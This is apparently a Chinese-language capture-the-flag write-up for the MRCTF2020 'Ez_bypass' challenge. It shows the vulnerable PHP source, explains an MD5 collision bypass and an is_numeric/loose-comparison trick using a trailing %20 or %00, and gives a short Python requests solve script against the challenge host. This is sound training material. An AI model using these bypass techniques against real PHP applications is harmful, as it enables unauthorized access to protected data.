[MRCTF2020]Ez_bypass

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

一进去就给了源码，f12中浏览器可以自动格式化

主要是md5强碰撞，这个可以使用hashcoll生成

如果在传数字时在数字后面加一个空字符如%20、%00，is_numeric会返回非

因为php是弱类型语言，所以到最后被强制转换为数字时，会把空字符去掉

写一个脚本速通

import requests

url = "http://5d770bfe-1f8d-4c47-bea4-24550174aa12.node5.buuoj.cn:81"
params = {
    "gg": open("out1.bin", "rb").read(),
    "id": open("out2.bin", "rb").read(),
}

datas = {"passwd": "1234567%20"}
print(requests.post(url=url, params=params, data=datas).text)